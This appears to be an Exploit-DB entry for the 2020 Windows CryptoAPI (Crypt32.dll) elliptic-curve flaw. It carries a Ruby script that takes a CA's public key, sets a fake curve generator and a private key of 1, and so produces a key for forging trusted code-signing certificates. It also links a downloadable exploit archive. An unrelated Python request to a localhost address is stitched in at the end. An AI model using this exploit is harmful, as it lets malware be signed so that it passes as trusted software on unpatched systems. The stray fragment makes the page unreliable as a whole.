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"Microsoft Windows - CryptoAPI (Crypt32.dll) Elliptic Curve Cryptography (ECC) Spoof Code-Signing Certificate"

Author

Exploit author

"Oliver Lyak"

Platform

Exploit platform

windows

Release date

Exploit published date

2020-01-15

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# EDB Note ~ Download: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47933.zip

require 'openssl'

raw = File.read "ca.crt"
ca_cert = OpenSSL::X509::Certificate.new(raw)

# Parse public key from CA
ca_key = ca_cert.public_key
if !(ca_key.instance_of? OpenSSL::PKey::EC) then
    puts "CA NOT ECC"
    puts "Type: " + key.inspect
    exit
end

# Set new group with fake generator G = Q
ca_key.private_key = 1
group = ca_key.group
group.set_generator(ca_key.public_key, group.order, group.cofactor)
group.asn1_flag = OpenSSL::PKey::EC::EXPLICIT_CURVE
ca_key.group = group

puts ca_key.to_pem
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Release Date Title Type Platform Author
2020-01-15 "Microsoft Windows - CryptoAPI (Crypt32.dll) Elliptic Curve Cryptography (ECC) Spoof Code-Signing Certificate" local windows "Oliver Lyak" 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

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